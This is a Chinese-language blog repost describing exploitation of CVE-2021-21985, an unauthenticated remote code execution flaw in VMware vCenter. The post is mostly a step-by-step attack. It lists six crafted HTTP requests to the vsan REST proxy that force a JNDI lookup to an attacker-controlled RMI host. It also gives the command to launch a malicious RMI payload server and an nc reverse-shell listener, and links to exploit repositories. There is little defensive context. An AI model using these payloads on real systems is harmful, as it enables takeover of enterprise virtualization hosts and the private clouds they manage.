CVE-2021-21985 Vmware vCenter unauth RCE

admin 2021年10月27日09:47:14评论215 views字数 1888阅读6分17秒阅读模式


        VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。通过使用vCenter,管理员可以轻松的管理上百台虚拟化环境,同时也意味着当其被攻击者控制后会造成私有云大量虚拟化环境将被攻击者控制。

        可以通过443访问vCenter Server的攻击者可以直接通过请求在目标主机上执行任意代码,并接管目标主机。攻击复杂度低,所需的条件少,不需要用户交互。


漏洞利用


0x01 漏洞点

CVE-2021-21985 Vmware vCenter unauth RCE


分析可见:

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis


0x02 漏洞利用


        对beans对象进行构造,实现rce。

列表:


localizedMessageBundlevsanWorkerThreadFactoryvsanThreadPoolImplvsanServiceBundleActivatorvsanServiceFactoryvsanProviderUtils_setVmodlHelpervsanProviderUtils_setVsanServiceFactoryvsanQueryUtil_setDataServicevsanComponentsProviderImplcapabilityPropertyProviderImplpbmDataProviderImplvsanCapabilityCacheManagervsanCapabilityUtils_setVsanCapabilityCacheManagervsanUtils_setMessageBundlevsanFormatUtils_setUserSessionService


由于Vsphere UI使用的tomcat中间件,可以通过jndi rmi bypass


https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java

远程执行命令




Step1https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject{"methodInput":[null]}

Step2https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod{"methodInput":["javax.naming.InitialContext.doLookup"]}
Step3https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod{"methodInput":["doLookup"]}
Step4 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments{"methodInput":[["rmi://attip:1097/ExecByEL"]]}
Step5https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare{"methodInput":[]}
Step6https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke{"methodInput":[]}


使用方法


  1. 启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip 

    CVE-2021-21985 Vmware vCenter unauth RCE


  2. 启动reverse shell侦听

nc -lvvp 5555
  1. 执行以上payload,得到反向shell 


CVE-2021-21985 Vmware vCenter unauth RCE



项目地址:


https://github.com/xnianq/cve-2021-21985_exp

本文始发于微信公众号(Khan安全攻防实验室):CVE-2021-21985 Vmware vCenter unauth RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日09:47:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-21985 Vmware vCenter unauth RCEhttp://cn-sec.com/archives/392865.html

发表评论

匿名网友 填写信息